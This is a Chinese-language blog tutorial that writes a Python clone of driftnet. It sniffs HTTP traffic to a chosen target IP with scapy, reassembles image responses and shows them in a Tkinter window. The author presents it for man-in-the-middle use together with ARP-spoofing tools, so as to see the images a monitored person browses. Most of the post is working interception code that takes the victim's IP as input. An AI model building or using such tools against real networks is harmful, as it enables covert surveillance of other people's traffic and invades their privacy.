欢迎光临
我们一直在努力

python实现图片嗅探工具——自编driftnet

python实现图片嗅探工具——自编driftnet

  • 前言
  • 一、数据包嗅探
  • 二、图片捕获
  • 三、图片显示及主函数
  • 写在最后

私信小编01即可获取大量Python学习资料

前言

想必尝试过中间人攻击(MITM)的小伙伴,大概率是知道driftnet的。这是一款简单使用的图片捕获工具,可以很方便的从网络数据包中抓取图片,从而将监听对象所浏览的图片尽收眼底。
苦于driftnet对windows的支持不是特别友好,而且近日闲来没事,于是我决定用python写一个简单的图片嗅探工具。
哐哐哐~搞定之后,效果还是不错的:

 


简单设置过后,开始监听:

 


注意:本工具不具有arp欺骗的功能,因此需要结合arp欺骗相应工具使用(如EvilFoca)

一、数据包嗅探

数据的嗅探采用的是scapy库的sniff模块,一句话便能搞定:

# 嗅探函数
def dosniff(filter_rule,sniff_time,prn_f):
    sniff(filter=filter_rule,timeout=sniff_time,prn=prn_f) # 监听数据包

其中prn参数是一个回调函数,即每抓取到一个数据包之后将执行这个函数,而这也是捕获数据包中图片的关键,具体实现,客官您望下看~

二、图片捕获

这里需要明确的是,在图片的传输过程中,往往一个TCP包的长度是不够的,所以一张图片往往分为很多个包。因此,为了捕获其中的图片,我们必须对图片数据进行识别,并将对应的数据包合并(相同的ack值)。
具体思路如下:

  1. 找到有上网数据的数据包
if p.haslayer(Raw): # 找出有上网数据的
  1. 判断是否为含有图片的HTTP响应
if 'Content-Type: image' in str(load): # 如果为图片响应
	xxxxx # 提取HTTP协议中的相关信息(图片长度、图片后缀、IP地址、以及部分图片二进制数据)
else:
	xxxxx # 判断是否为图片数据的某一部分,如果是则将数据添加进去

3、把图片数据合并并生成图片

for i in img_list[ack][1:]: 
    img += i
if len(img) == length: # 如果图片数据已经完整
    imgname = '%d.%s'%(N,img_map[postfix])
    with open('./images/%s/%s'%(target,imgname),'wb') as f:
        f.write(img)   

完整的回调函数:

# 处理数据包
def handlepacket(p):
    global N,img_list,imgvalue_list,img_map
    if p.haslayer(Raw): # 找出有上网数据的
        load = p.load 
        ack = p.ack 
        try:
            ## 如果为图片相应,且带有HTTP头(即第一个图片TCP包)
            if 'Content-Type: image' in str(load): # 如果为图片响应
                postfix = re.findall('image/(.*?)\\r',str(load))[0] # 图片后缀
                length = int(re.findall('Content-Length: (.*?)\\r',str(load))[0]) # 图片数据长度
                ip_src = p['IP'].src # 源头IP
                ip_dst = p['IP'].dst # 目的IP
                img_list[ack] = [(postfix,length,ip_src,ip_dst)] # 0为图片信息(以下为图片二进制数据)
                img_load=load[load.find(b'x0dx0ax0dx0a')+4:] # 去除请求头部分,只要图片数据
                img_list[ack].append(img_load)
            ## 如果为某图片的后续数据包
            elif ack in list(img_list.keys()):
                img_load = load # 所有load均为图片数据
                img_list[ack].append(img_load)
                img = bytes()
                postfix = img_list[ack][0][0] # 图片后缀
                length = img_list[ack][0][1] # 图片长度
                ip_src = img_list[ack][0][2] # 源头IP 
                ip_dst = img_list[ack][0][3] # 目的IP
                for i in img_list[ack][1:]: 
                    img += i
                if len(img) == length: # 如果图片数据已经完整
                    imgname = '%d.%s'%(N,img_map[postfix])
                    with open('./images/%s/%s'%(target,imgname),'wb') as f:
                        f.write(img)
                        img = Image.open(BytesIO(img))
                        img = resize(200,200,img)
                        img_tk = ImageTk.PhotoImage(img)
                        imgvalue_list.append(img_tk)
                        Label(frame,image=imgvalue_list[-1],bg='black').grid(row=(N-1)//4,column=(N-1)%4,padx=23,pady=3)
                        canvas.create_window((ww/2,math.ceil(N/4)*105), window=frame)  #create_window 
                        canvas['scrollregion'] = (0,0,ww,math.ceil(N/4)*210)
                        canvas.yview_moveto(1)
                        print('%s【driftnet】: saving image data as "%s"'%(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),imgname))
                        N += 1
        except:
            pass

三、图片显示及主函数

为了将捕获的图片显示出来,我采用tkinter库,具体如下:

# 主函数
if __name__ == '__main__':
    printinfo()
    target = ''
    sniff_time = 24*60*60
    while True:
        choice = input('
请选择:')
        if choice not in ['1','2','3','4','5']:
            print(colored('>>>选择错误,请重新输入!','red'))
            time.sleep(1)
            printinfo()
        else:
            if choice == '1':
                scan()
            if choice == '2':
                target = input('>>>监听目标(对方IP地址):')
                print('监听目标设置成功!')
                time.sleep(1)
                printinfo()
            if choice == '3':
                sniff_time = input('>>>监听时间(默认为86400秒):')
                sniff_time = int(sniff_time)
                print('监听时间设置成功!')
                time.sleep(1)
                printinfo()
            if choice == '4':
                if target == '':
                    print(colored('监听目标未设置!','red'))
                    time.sleep(1)
                    printinfo()
                else:
                    print('监听目标为"%s"  监听时间为"%s秒"'%(colored(target,'green'),colored(sniff_time,'green')))
                    op = input('是否开始(Y/N)?')
                    if not (op == 'Y' or op == 'y'):
                        printinfo()
                        continue
                    # 创建GUI
                    ## 初始化全局变量
                    N = 1 # 图片编号
                    img_list = {} # 图片字典,用于存储图片信息,以及对应数据包
                    imgvalue_list = [] # 图片数据,用于在画布上显示(防止由于局部变量等原因丢失变量)
                    ## 相关参数
                    bgcolor = 'black'
                    ## 创建root窗口(1000x630)
                    root = Tk()                   
                    root.title('driftnet') # 设置标题
                    root.iconbitmap('logo.ico')
                    root.config(bg=bgcolor)
                    sw = root.winfo_screenwidth()  # 屏幕宽度
                    sh = root.winfo_screenheight() # 屏幕高度
                    ww = 1000 # 窗口宽度
                    wh = 630 # 窗口高度
                    x = (sw-ww)/2 # 窗口横坐标
                    y = (sh-wh)/2 # 窗口纵坐标
                    root.geometry('%dx%d+%d+%d' %(ww,wh,x,y))
                    root.resizable(width=False, height=False) # 窗口大小无法更改
                    ## 创建画布canvas
                    canvas=Canvas(root,width=ww,height=wh) #创建canvas
                    canvas.grid()
                    ## 创建frame窗口
                    frame = tk.Frame(canvas)
                    frame.grid()
                    ## 滚动条
                    vbar=Scrollbar(root,orient=VERTICAL) #竖直滚动条
                    vbar.place(x=ww-20,y=0,width=20,height=wh)
                    vbar.configure(command=canvas.yview)
                    canvas.config(yscrollcommand=vbar.set) #设置 
                        
                    # 嗅探数据
                    if not os.path.exists('./images'):
                        os.mkdir('./images')
                    if not os.path.exists('./images/%s'%target):
                        os.mkdir('./images/%s'%target)
                    filter_rule = "tcp src port 80 and dst host {}".format(target) # 过滤规则
                    print('开始嗅探.....')
                    t = threading.Thread(target=dosniff,args=(filter_rule,sniff_time,handlepacket,))
                    t.start()
                    
                    # 进入消息循环
                    root.mainloop()
                    
                    # 关闭嗅探线程
                    stop_thread(t)
                    #input() # 处理stop_thread多余的输出流
                    printinfo()
            if choice == '5':
                print('Good bye!')
                exit(0)

这里遇到的坑主要是滚动条自动下滑的问题(即当我们不断捕获到图片的时候,如果让界面将所有图片显示出来,并且滚动条始终保持在最小面)。

写在最后

代码些许有些混乱,主要是想跟小伙伴们分享下一些思路,也希望可以有所帮助或启发:

  • 如何从数据包中捕获图片数据
  • Tkinter如何实现滚动条自动下滑

最后,感谢各位大大的耐心阅读~

 收藏 (0) 打赏

您可以选择一种方式赞助本站

支付宝扫一扫赞助

微信钱包扫描赞助

未经允许不得转载:英协网 » python实现图片嗅探工具——自编driftnet

分享到: 生成海报
avatar

热门文章

  • 评论 抢沙发

    • QQ号
    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址

    登录

    忘记密码 ?

    切换登录

    注册

    我们将发送一封验证邮件至你的邮箱, 请正确填写以完成账号注册和激活